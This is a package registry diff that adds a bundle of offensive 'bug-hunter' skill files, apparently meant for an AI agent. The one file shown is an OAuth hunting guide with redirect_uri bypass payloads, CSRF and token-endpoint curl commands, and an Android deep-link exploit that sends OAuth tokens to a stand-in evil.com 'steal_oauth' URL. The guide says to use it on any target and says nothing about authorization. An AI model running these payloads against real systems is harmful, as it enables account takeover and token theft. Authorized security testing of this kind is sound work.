@hostclubeos/miraos 0.0.5-beta → 0.0.6-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (219) hide show
  1. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +407 -0
  2. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +1558 -0
  3. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +513 -0
  4. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +1604 -0
  5. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +331 -0
  6. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +521 -0
  7. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +356 -0
  8. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +401 -0
  9. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +155 -0
  10. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +268 -0
  11. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +277 -0
  12. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +140 -0
  13. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +449 -0
  14. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +297 -0
  15. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +237 -0
  16. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +338 -0
  17. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +92 -0
  18. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +267 -0
  19. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +66 -0
  20. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +195 -0
  21. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +291 -0
  22. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +374 -0
  23. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +178 -0
  24. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +380 -0
  25. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +279 -0
  26. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +67 -0
  27. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +158 -0
  28. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +245 -0
  29. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +70 -0
  30. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +368 -0
  31. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +273 -0
  32. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +265 -0
  33. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +62 -0
  34. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +87 -0
  35. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +389 -0
  36. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +177 -0
  37. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +293 -0
  38. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +211 -0
  39. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +307 -0
  40. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +266 -0
  41. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +245 -0
  42. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +134 -0
  43. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +333 -0
  44. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +255 -0
  45. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +219 -0
  46. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +166 -0
  47. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +270 -0
  48. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +414 -0
  49. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +179 -0
  50. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +485 -0
  51. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +167 -0
  52. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +494 -0
  53. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +112 -0
  54. package/bundled/bug-hunter/references/hunt-session/SKILL.md +298 -0
  55. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +153 -0
  56. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +437 -0
  57. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +301 -0
  58. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +123 -0
  59. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +241 -0
  60. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +422 -0
  61. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +514 -0
  62. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +117 -0
  63. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +335 -0
  64. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +355 -0
  65. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +285 -0
  66. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +450 -0
  67. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +422 -0
  68. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +287 -0
  69. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +384 -0
  70. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +358 -0
  71. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +353 -0
  72. package/bundled/bug-hunter/references/offensive-osint/README.md +98 -0
  73. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +399 -0
  74. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +128 -0
  75. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +180 -0
  76. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +231 -0
  77. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +305 -0
  78. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +105 -0
  79. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +1266 -0
  80. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +282 -0
  81. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +341 -0
  82. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +138 -0
  83. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +67 -0
  84. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +329 -0
  85. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +72 -0
  86. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +108 -0
  87. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +199 -0
  88. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +188 -0
  89. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +13 -0
  90. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  91. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +968 -0
  92. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +402 -0
  93. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +180 -0
  94. package/bundled/bug-hunter/references/okta-attack/SKILL.md +397 -0
  95. package/bundled/bug-hunter/references/osint-methodology/README.md +66 -0
  96. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +1704 -0
  97. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +89 -0
  98. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +401 -0
  99. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +347 -0
  100. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +98 -0
  101. package/bundled/bug-hunter/references/report-writing/SKILL.md +568 -0
  102. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +912 -0
  103. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +648 -0
  104. package/bundled/bug-hunter/references/triage-validation/SKILL.md +418 -0
  105. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +372 -0
  106. package/bundled/bug-hunter/references/web2-recon/SKILL.md +698 -0
  107. package/bundled/bug-hunter/references/web3-audit/SKILL.md +606 -0
  108. package/chunks/{acpAgent-UHWDA3W7.js → acpAgent-OGBFWA5R.js} +2 -2
  109. package/chunks/{chunk-BX3KM7OK.js → chunk-2PB6TEZU.js} +1 -1
  110. package/chunks/{chunk-NYM67KKZ.js → chunk-34YXJ3CX.js} +1 -1
  111. package/chunks/{chunk-FXANOHXI.js → chunk-3GA3NTAV.js} +3 -3
  112. package/chunks/{chunk-MUS4ADP7.js → chunk-5JKJSIIP.js} +1 -1
  113. package/chunks/{chunk-N4RIISOE.js → chunk-7JT2V4AW.js} +1 -1
  114. package/chunks/{chunk-4IVYVCCU.js → chunk-BB2C4HKQ.js} +1 -1
  115. package/chunks/{chunk-SK3QOQR4.js → chunk-F2XELUO3.js} +1 -1
  116. package/chunks/{chunk-RKFNQQNA.js → chunk-GPI53DWB.js} +1 -1
  117. package/chunks/{chunk-744QTJR2.js → chunk-HHSHBOT7.js} +2 -2
  118. package/chunks/{chunk-PXBJPUGN.js → chunk-HMID4D72.js} +1 -1
  119. package/chunks/{chunk-MQWKOOSR.js → chunk-IC2WDA6V.js} +1 -1
  120. package/chunks/{chunk-2TDRP3IX.js → chunk-JRPR5IME.js} +1 -1
  121. package/chunks/{chunk-2GVKPBW5.js → chunk-ORVQPZMQ.js} +1 -1
  122. package/chunks/{chunk-FRADUGRC.js → chunk-RGVXNWZA.js} +1 -1
  123. package/chunks/{chunk-QEIX42MZ.js → chunk-SHLTP6ZB.js} +1 -1
  124. package/chunks/{chunk-D3QZNIFB.js → chunk-SOCXRMZM.js} +4 -4
  125. package/chunks/{chunk-NKWATWMD.js → chunk-TI7J4HX2.js} +1 -1
  126. package/chunks/{chunk-62DMHXLL.js → chunk-VGPV5AVJ.js} +1 -1
  127. package/chunks/{chunk-XZNF4YNN.js → chunk-Y3BCVTFB.js} +1 -1
  128. package/chunks/{chunk-D3YOXHQF.js → chunk-YVORE4W4.js} +1 -1
  129. package/chunks/{daemon-status-provider-F6KB2LNG.js → daemon-status-provider-FCQ4YYAY.js} +1 -1
  130. package/chunks/{fast-path-DWPD5EGQ.js → fast-path-ZBD7IYQM.js} +1 -1
  131. package/chunks/{llm-RBI7KXDE.js → llm-DQNQEAFW.js} +3 -3
  132. package/chunks/{local-HSG47CNJ.js → local-ZRC4XZCJ.js} +1 -1
  133. package/chunks/{managed-local-serve-YE4JDFNP.js → managed-local-serve-B2KOLPB5.js} +1 -1
  134. package/chunks/{managed-runtime-bootstrap-SHEXUEZN.js → managed-runtime-bootstrap-MREL5UC2.js} +1 -1
  135. package/chunks/{managed-runtime-ssh-worker-BZNJV7IB.js → managed-runtime-ssh-worker-GUKAZFAJ.js} +1 -1
  136. package/chunks/{memory-JTDN5AEA.js → memory-ZYPCFYPF.js} +1 -1
  137. package/chunks/{nonInteractiveCli-BXHX6EIU.js → nonInteractiveCli-JG6PKBAD.js} +1 -1
  138. package/chunks/{review-PC4IDLCG.js → review-N3VFZQMI.js} +1 -1
  139. package/chunks/{run-qwen-serve-XRWVWOZK.js → run-qwen-serve-4MZRQFXK.js} +1 -1
  140. package/chunks/{serve-JCUT4WK7.js → serve-EQN6QAXF.js} +1 -1
  141. package/chunks/{server-HMTRZJF7.js → server-CCEHAI25.js} +1 -1
  142. package/chunks/{session-RGLZU6KY.js → session-HNUJSV5A.js} +1 -1
  143. package/chunks/{start-opentui-ui-YNTPK7LX.js → start-opentui-ui-6MCAEWAW.js} +1 -1
  144. package/chunks/{startInteractiveUI-MWA2VYTJ.js → startInteractiveUI-657JWOTK.js} +1 -1
  145. package/chunks/{validateNonInterActiveAuth-3433WFLE.js → validateNonInterActiveAuth-CP5WFNAE.js} +1 -1
  146. package/chunks/{version-XCFKTEY3.js → version-SIM74L5K.js} +1 -1
  147. package/cli.js +1 -1
  148. package/export-transcript-document.js +1 -1
  149. package/package.json +3 -3
  150. package/web-shell/assets/{PierreFilePreview-DEhWK46v.js → PierreFilePreview-Dkt6iPte.js} +1 -1
  151. package/web-shell/assets/SpreadsheetPreview-I4yiL7q3.js +1 -0
  152. package/web-shell/assets/{WorkspaceFileBrowser-64vDYikf.js → WorkspaceFileBrowser-Du9bMpNo.js} +1 -1
  153. package/web-shell/assets/{abnfDiagram-VCTEODGH-C2WWURam.js → abnfDiagram-VCTEODGH-CGY1lCxS.js} +1 -1
  154. package/web-shell/assets/{agents-route-j5ba59xn.js → agents-route-kcQ3YUNc.js} +1 -1
  155. package/web-shell/assets/{arc-Bkr_-GVn.js → arc-BUMNyJDV.js} +1 -1
  156. package/web-shell/assets/{architectureDiagram-5GKGNRK7-D_v_wDDW.js → architectureDiagram-5GKGNRK7-CEfXhEKD.js} +1 -1
  157. package/web-shell/assets/{blockDiagram-NRAW4CY4-Csxc3YNo.js → blockDiagram-NRAW4CY4-BH8hjvlX.js} +1 -1
  158. package/web-shell/assets/{c4Diagram-UCG6FXSJ-PXryoJCB.js → c4Diagram-UCG6FXSJ-Dfl946ex.js} +1 -1
  159. package/web-shell/assets/channel-CoZByzPk.js +1 -0
  160. package/web-shell/assets/{chunk-2Q5K7J3B-DwK5UBHI.js → chunk-2Q5K7J3B-CBvGm-pD.js} +1 -1
  161. package/web-shell/assets/{chunk-5VM5RSS4-BC1hvD6_.js → chunk-5VM5RSS4-k06tGOfl.js} +1 -1
  162. package/web-shell/assets/{chunk-F27PBJKO-iFe0IxfJ.js → chunk-F27PBJKO-Dv4S4vSq.js} +1 -1
  163. package/web-shell/assets/{chunk-G27WJ6UU-ROSuKRxI.js → chunk-G27WJ6UU-7LY0yu3f.js} +1 -1
  164. package/web-shell/assets/{chunk-JWPE2WC7-CYHS6PxA.js → chunk-JWPE2WC7-B-CgVEuJ.js} +1 -1
  165. package/web-shell/assets/{chunk-LCL6LL3I-D5bFMqCy.js → chunk-LCL6LL3I-D0TrWx1f.js} +1 -1
  166. package/web-shell/assets/{chunk-POPQ4Y6H-BJh77MGv.js → chunk-POPQ4Y6H-B97ZANlR.js} +1 -1
  167. package/web-shell/assets/{chunk-SVP7TREG-Cs81aYft.js → chunk-SVP7TREG-2CO_3G76.js} +1 -1
  168. package/web-shell/assets/{chunk-XXDRQBXY-DqDbN44E.js → chunk-XXDRQBXY-CFbSHjzz.js} +1 -1
  169. package/web-shell/assets/classDiagram-DTDB5LWJ-BgKRvG5r.js +1 -0
  170. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BgKRvG5r.js +1 -0
  171. package/web-shell/assets/{cose-bilkent-JH36ORCC-DhjrwADJ.js → cose-bilkent-JH36ORCC-K-uc8eFw.js} +1 -1
  172. package/web-shell/assets/{cynefin-OW5HDTMX-Dh7t-_3M.js → cynefin-OW5HDTMX-Cb0lt2G3.js} +1 -1
  173. package/web-shell/assets/{cynefinDiagram-5FMLGOSQ-5J4kto0C.js → cynefinDiagram-5FMLGOSQ-DWkqpFuH.js} +1 -1
  174. package/web-shell/assets/{dagre-3AP2YEHR-28AdbIcl.js → dagre-3AP2YEHR-Cs8gu3Q4.js} +1 -1
  175. package/web-shell/assets/{diagram-S7CK7UJ4-DmksuoIf.js → diagram-S7CK7UJ4-DlMLXUgK.js} +1 -1
  176. package/web-shell/assets/{diagram-UQ7AKVKN-DUjgQ8Fg.js → diagram-UQ7AKVKN-68PPYL92.js} +1 -1
  177. package/web-shell/assets/{diagram-VSXAHHWV-DUe_FpG-.js → diagram-VSXAHHWV-CxIdRSbx.js} +1 -1
  178. package/web-shell/assets/{diagram-VX7I27RA-CJJ70teK.js → diagram-VX7I27RA-G3C0kWVW.js} +1 -1
  179. package/web-shell/assets/{diagram-Z3DM3KII-BgABlJO4.js → diagram-Z3DM3KII-CwEuAgyS.js} +1 -1
  180. package/web-shell/assets/{docx-preview-BMBWboRx.js → docx-preview-3XzkP9iR.js} +1 -1
  181. package/web-shell/assets/{ebnfDiagram-PWID7BFC-B3nK_Lh7.js → ebnfDiagram-PWID7BFC-DLeMX1Ka.js} +1 -1
  182. package/web-shell/assets/{erDiagram-SSCWMZ5O-DCTdCWlu.js → erDiagram-SSCWMZ5O-CoQLSOGk.js} +1 -1
  183. package/web-shell/assets/{flowDiagram-A5DVABFB-CPxk2UUl.js → flowDiagram-A5DVABFB-BXUV-Qml.js} +1 -1
  184. package/web-shell/assets/{ganttDiagram-EL5Y4UJY-WZzMAKht.js → ganttDiagram-EL5Y4UJY-sWi6Lowi.js} +1 -1
  185. package/web-shell/assets/{gitGraphDiagram-WWUBYQGX-DKcO5ugU.js → gitGraphDiagram-WWUBYQGX-Dsh4-kB4.js} +1 -1
  186. package/web-shell/assets/{index-CkRLMu1y.js → index-CrSq-SfJ.js} +6 -6
  187. package/web-shell/assets/{index-Dbm3-Fps.js → index-DjwWlZt0.js} +1 -1
  188. package/web-shell/assets/{infoDiagram-RXCK75RN-CJX5DzdL.js → infoDiagram-RXCK75RN-JZ6nFIgB.js} +1 -1
  189. package/web-shell/assets/{ishikawaDiagram-5VMMS53U-fF0Id5B6.js → ishikawaDiagram-5VMMS53U-qJj-sQFs.js} +1 -1
  190. package/web-shell/assets/{journeyDiagram-EYS64GPL-BOAezBVe.js → journeyDiagram-EYS64GPL-Ck0jv8SO.js} +1 -1
  191. package/web-shell/assets/{kanban-definition-3QL26DDD-DdNBof9J.js → kanban-definition-3QL26DDD-Ck6_Ydmt.js} +1 -1
  192. package/web-shell/assets/{layout-CXX3l5w0.js → layout-yLaSulE8.js} +1 -1
  193. package/web-shell/assets/{linear-Dnaccp-S.js → linear-CXw5rE6U.js} +1 -1
  194. package/web-shell/assets/{mermaid.core-BzdC3B6T.js → mermaid.core-6WQsyLcq.js} +6 -6
  195. package/web-shell/assets/{mindmap-definition-FBJOCRG2-D-gMUzLw.js → mindmap-definition-FBJOCRG2-BDAmAz8h.js} +1 -1
  196. package/web-shell/assets/{pegDiagram-XKGWAZYB-B9n1WVZq.js → pegDiagram-XKGWAZYB-Rvn5mpol.js} +1 -1
  197. package/web-shell/assets/{pieDiagram-E7YTZNPT-ok49U0zT.js → pieDiagram-E7YTZNPT-DHw4avFL.js} +1 -1
  198. package/web-shell/assets/{quadrantDiagram-AXDQQJYC-DJKha-v3.js → quadrantDiagram-AXDQQJYC-vch6jDK-.js} +1 -1
  199. package/web-shell/assets/{railroadDiagram-O6MQD6OU-DjL4pl7y.js → railroadDiagram-O6MQD6OU-DfVCzYpO.js} +1 -1
  200. package/web-shell/assets/{requirementDiagram-EFPCY7ZU-BpmmRw3A.js → requirementDiagram-EFPCY7ZU-BQAnwpSv.js} +1 -1
  201. package/web-shell/assets/{sankeyDiagram-P5KCCOFB-KpteHB8X.js → sankeyDiagram-P5KCCOFB-fJuxdbbi.js} +1 -1
  202. package/web-shell/assets/{sequenceDiagram-WJ2MYXX4-COMghCpA.js → sequenceDiagram-WJ2MYXX4-B3TtvHJp.js} +1 -1
  203. package/web-shell/assets/{sizeCapture-X5ZJPWSS-5fEwJD-n.js → sizeCapture-X5ZJPWSS-DlJmbcZd.js} +1 -1
  204. package/web-shell/assets/{stateDiagram-HBIQ2CUA-CnC7oXvs.js → stateDiagram-HBIQ2CUA--0kiPvGS.js} +1 -1
  205. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-Dw-ppcvp.js +1 -0
  206. package/web-shell/assets/{swimlanes-XN3QIQJK-bVlhZdve.js → swimlanes-XN3QIQJK-CAytfKbo.js} +1 -1
  207. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-B36XZQuh.js +8 -0
  208. package/web-shell/assets/{timeline-definition-24CTP7MA-CBvYgMu5.js → timeline-definition-24CTP7MA-C-BUmwu6.js} +1 -1
  209. package/web-shell/assets/{vennDiagram-4TSXK5OY-CUTYvV1j.js → vennDiagram-4TSXK5OY-W_dgEGv2.js} +1 -1
  210. package/web-shell/assets/{wardleyDiagram-VM6X3IG4-Djl4gxCB.js → wardleyDiagram-VM6X3IG4-ikAv1QJ9.js} +1 -1
  211. package/web-shell/assets/{xychartDiagram-S5SC5T6Z-BcJZtI2X.js → xychartDiagram-S5SC5T6Z-BmY9Ily6.js} +1 -1
  212. package/web-shell/index.html +1 -1
  213. package/web-shell/sw.js +1 -1
  214. package/web-shell/assets/SpreadsheetPreview-C-GgIuPX.js +0 -1
  215. package/web-shell/assets/channel-6Pj4KPAs.js +0 -1
  216. package/web-shell/assets/classDiagram-DTDB5LWJ-BaTUuuB8.js +0 -1
  217. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BaTUuuB8.js +0 -1
  218. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-V_cfZFBL.js +0 -1
  219. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-25wVg0WL.js +0 -8
@@ -0,0 +1,414 @@
1
+ ---
2
+ name: hunt-oauth
3
+ description: Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty reports. Use when hunting oauth on any target.
4
+ sources: github, hackerone_public, salt_labs, descope, detectify_labs, harel_research
5
+ report_count: 22
6
+ ---
7
+
8
+ ## Crown Jewel Targets
9
+
10
+ OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable **account takeover, session theft, and authentication bypass** — the trifecta that programs pay most for.
11
+
12
+ **Highest-value targets:**
13
+ - **Consumer identity providers** (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
14
+ - **Mobile apps with custom deep link OAuth handlers** — Android/iOS intent handling is notoriously loose
15
+ - **Multi-tenant SaaS platforms** (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
16
+ - **Gaming/entertainment platforms** with federated login (Rockstar, Oculus) — often security-immature teams
17
+ - **Enterprise SSO connectors** — critical infrastructure, high severity payouts
18
+
19
+ **Asset types that pay most:**
20
+ - OAuth authorization endpoints (`/oauth/authorize`, `/connect/authorize`)
21
+ - Token exchange endpoints (`/oauth/token`)
22
+ - Mobile deep link handlers (`push_notification_webview`, custom scheme URIs)
23
+ - Social login callback handlers (`/auth/callback`, `/oauth/callback`)
24
+
25
+ **Typical payouts:** $500–$20,000+ depending on program; account takeover findings often hit max bounty.
26
+
27
+ ---
28
+
29
+ ## Attack Surface Signals
30
+
31
+ ### URL Patterns to Hunt
32
+ ```
33
+ /oauth/authorize
34
+ /oauth/token
35
+ /connect/authorize
36
+ /auth/callback
37
+ /oauth/callback
38
+ /login?redirect_uri=
39
+ /signin?next=
40
+ /auth?return_to=
41
+ /oauth/redirect
42
+ /push_notification_webview
43
+ ```
44
+
45
+ ### Response Headers That Signal OAuth
46
+ ```
47
+ Location: https://accounts.example.com/oauth/...
48
+ Set-Cookie: oauth_state=
49
+ WWW-Authenticate: Bearer
50
+ Content-Type: application/json (with access_token in body)
51
+ ```
52
+
53
+ ### JavaScript Patterns (grep in JS bundles)
54
+ ```javascript
55
+ redirect_uri
56
+ client_id
57
+ response_type=code
58
+ response_type=token
59
+ state=
60
+ nonce=
61
+ oauth_token
62
+ access_token
63
+ push_notification_webview
64
+ deeplink
65
+ intent://
66
+ ```
67
+
68
+ ### Tech Stack Signals
69
+ - Android apps with `intent-filter` in `AndroidManifest.xml` handling `http://` or custom scheme URIs
70
+ - Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
71
+ - Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
72
+ - `.well-known/openid-configuration` present = full OIDC surface available
73
+
74
+ ---
75
+
76
+ ## Step-by-Step Hunting Methodology
77
+
78
+ 1. **Enumerate all OAuth entry points**
79
+ - Spider the app for `/oauth`, `/connect`, `/auth`, `/login` paths
80
+ - Check `.well-known/openid-configuration` and `.well-known/oauth-authorization-server`
81
+ - Decompile mobile APKs: `apktool d app.apk` and grep for `redirect_uri`, `intent://`, deep link schemes
82
+
83
+ 2. **Map the full OAuth flow**
84
+ - Capture the authorization request: note `client_id`, `redirect_uri`, `state`, `nonce`, `response_type`
85
+ - Capture the callback: note where tokens/codes land, what validates state/nonce
86
+
87
+ 3. **Test `redirect_uri` validation (highest yield)**
88
+ - Try exact host bypass: `redirect_uri=https://legit.com.evil.com`
89
+ - Try path traversal: `redirect_uri=https://legit.com/callback/../../../evil`
90
+ - Try open redirects on the legitimate domain first, then chain into OAuth
91
+ - Try parameter pollution: `redirect_uri=https://legit.com&redirect_uri=https://evil.com`
92
+ - Try encoded characters: `%2F`, `%40`, `%23` to confuse parsers
93
+
94
+ 4. **Test `state` parameter (CSRF)**
95
+ - Remove `state` entirely — does the flow complete?
96
+ - Reuse a fixed `state` value across sessions
97
+ - Check if `state` is validated server-side or only client-side
98
+
99
+ 5. **Test `nonce` parameter (replay/bypass)**
100
+ - Capture a nonce from one flow, attempt to replay it in another
101
+ - Check if nonce is validated after token exchange
102
+ - Test if nonce can be extracted via referrer leak (step 9)
103
+
104
+ 6. **Test authentication step completeness**
105
+ - For multi-step auth (e.g., email verification + OAuth): can you skip to `/oauth/token` directly?
106
+ - Check if partial auth state (unverified email) is accepted by the token endpoint
107
+
108
+ 7. **Hunt referrer leakage**
109
+ - After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full `Referer` header
110
+ - Look specifically at language switchers, analytics calls, social share buttons triggered post-auth
111
+
112
+ 8. **Test mobile deep links**
113
+ - For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
114
+ - Check if deep link handlers validate the origin/host before loading
115
+ - Test `push_notification_webview` patterns that accept arbitrary URLs
116
+
117
+ 9. **Test misconfigured client credentials**
118
+ - Check if `client_secret` appears in JS bundles or APK resources
119
+ - Test if token endpoint accepts arbitrary `redirect_uri` values when combined with leaked `client_id`/`client_secret`
120
+
121
+ 10. **Verify and document**
122
+ - Confirm state is not validated → CSRF to account link
123
+ - Confirm token lands on attacker domain → session theft
124
+ - Confirm email verification skippable → auth bypass
125
+ - Run Gate 0 check before reporting
126
+
127
+ ---
128
+
129
+ ## Payload & Detection Patterns
130
+
131
+ ### redirect_uri Bypass Payloads
132
+ ```
133
+ # Host confusion
134
+ https://evil.com#legit.com
135
+ https://legit.com.evil.com
136
+ https://legit.com@evil.com
137
+
138
+ # Path traversal
139
+ https://legit.com/oauth/callback/../../redirect?url=https://evil.com
140
+
141
+ # Open redirect chain (find open redirect on legit domain first)
142
+ https://legit.com/logout?next=https://evil.com
143
+
144
+ # Parameter pollution
145
+ ?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
146
+
147
+ # URL encoded slashes
148
+ https://legit.com%2F@evil.com
149
+ https://legit.com%252F..%252F..evil.com
150
+ ```
151
+
152
+ ### State CSRF Test
153
+ ```bash
154
+ # Step 1: Initiate OAuth flow, capture state value
155
+ # Step 2: Drop request, use attacker account's link with victim's session
156
+ curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
157
+
158
+ # Step 3: Force victim to visit callback with attacker's code + fixed state
159
+ https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
160
+ ```
161
+
162
+ ### Nonce Extraction via Referrer
163
+ ```bash
164
+ # After OAuth callback landing page, check outbound requests
165
+ # Look for Referer header containing access_token or code
166
+ curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
167
+ -H "Referer: https://evil.com" \
168
+ --max-redirs 0
169
+
170
+ # Grep JS for outbound calls made on callback page
171
+ grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
172
+ ```
173
+
174
+ ### Mobile Deep Link Exploit (Android)
175
+ ```bash
176
+ # ADB exploit for push_notification_webview deeplink
177
+ adb shell am start -a android.intent.action.VIEW \
178
+ -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
179
+
180
+ # Craft intent URI for web-based exploit
181
+ <a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
182
+ ```
183
+
184
+ ### Token Endpoint Auth Bypass
185
+ ```bash
186
+ # Test unauthenticated token exchange (skip email verification)
187
+ curl -X POST https://target.com/oauth/token \
188
+ -d "grant_type=authorization_code" \
189
+ -d "code=CAPTURED_CODE" \
190
+ -d "client_id=CLIENT_ID" \
191
+ -d "redirect_uri=https://legit.com/callback"
192
+
193
+ # Test with unverified account credentials
194
+ curl -X POST https://target.com/oauth/token \
195
+ -d "grant_type=password" \
196
+ -d "username=unverified@evil.com" \
197
+ -d "password=password123" \
198
+ -d "client_id=CLIENT_ID"
199
+ ```
200
+
201
+ ### Grep Patterns for Recon
202
+ ```bash
203
+ # In APK/JS files
204
+ grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
205
+ grep -r "intent://\|deeplink\|scheme://" .
206
+
207
+ # In Burp history
208
+ # Filter: URL contains "oauth" OR "token" OR "callback"
209
+ # Filter: Response contains "access_token" OR "code=" in Location header
210
+
211
+ # Check .well-known
212
+ curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
213
+ ```
214
+
215
+ ### OIDC Discovery & Dynamic Registration Abuse
216
+ ```bash
217
+ # Enumerate OIDC endpoints (esp. registration_endpoint)
218
+ curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'
219
+
220
+ # If registration_endpoint is open, register a malicious client with attacker redirect_uri
